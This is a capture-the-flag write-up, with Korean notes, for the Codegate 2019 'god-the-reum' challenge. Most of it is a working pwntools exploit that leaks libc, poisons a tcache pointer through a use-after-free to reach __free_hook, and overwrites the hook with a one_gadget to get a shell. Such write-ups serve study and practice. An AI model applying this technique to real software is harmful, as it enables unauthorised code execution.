2019 Codegate god-the-reum
- tcache exploit (glibc 2.27)
- UAF
- __free_hook overwrite
[*] '/vagrant/ctf/god-the-reum'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Structure
struct wallet{
char* address;
int* ballence;
}
-
0x420크기 이상의 청크 하나와 tcache에 들어갈만한 청크를 할당 후 withdraw 메뉴에서 free해줘서 unsorted bin을 leak해줄 수 있다.
-
그리고 tcache bin에 들어가있는 청크의 fd를 __free_hook으로 overwrite해준다. (hidden menu UAF)
-
그리고 청크 두개를 할당하고 __free_hook을 one_gadget으로 덮어준다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./god-the-reum')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./god-the-reum')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
def create(size):
sla('select your choice :','1')
sla('how much initial eth? :',str(size))
def deposit(idx,size): # append
sla('select your choice :','2')
sla('input wallet no :',str(idx))
sla('how much deposit? :',str(size))
def withdraw(idx,size): # pop
sla('select your choice :','3')
sla('input wallet no :',str(idx))
sla('how much you wanna withdraw? :',str(size))
def show():
sla('select your choice :','4')
def quit():
sla('select your choice :','5')
def hidden(idx,eth):
sla('select your choice :','6')
sla('input wallet no :',str(idx))
sla('new eth :',eth)
create(0x420) # 0
create(0x60) # 1
withdraw(0,0x420)
show()
p.recvuntil('ballance ')
libc_base = int(p.recvline().strip()) - 0x3ebca0
log.info('libc_base : {}'.format(hex(libc_base)))
free_hook = libc_base + libc.symbols['__free_hook']
one_shot = libc_base + 0x10a38c
withdraw(1,0x60)
hidden(1,p64(free_hook))
create(0x60) # 2
create(0x60) # 3
hidden(3,p64(one_shot))
withdraw(2,0x60)
p.interactive()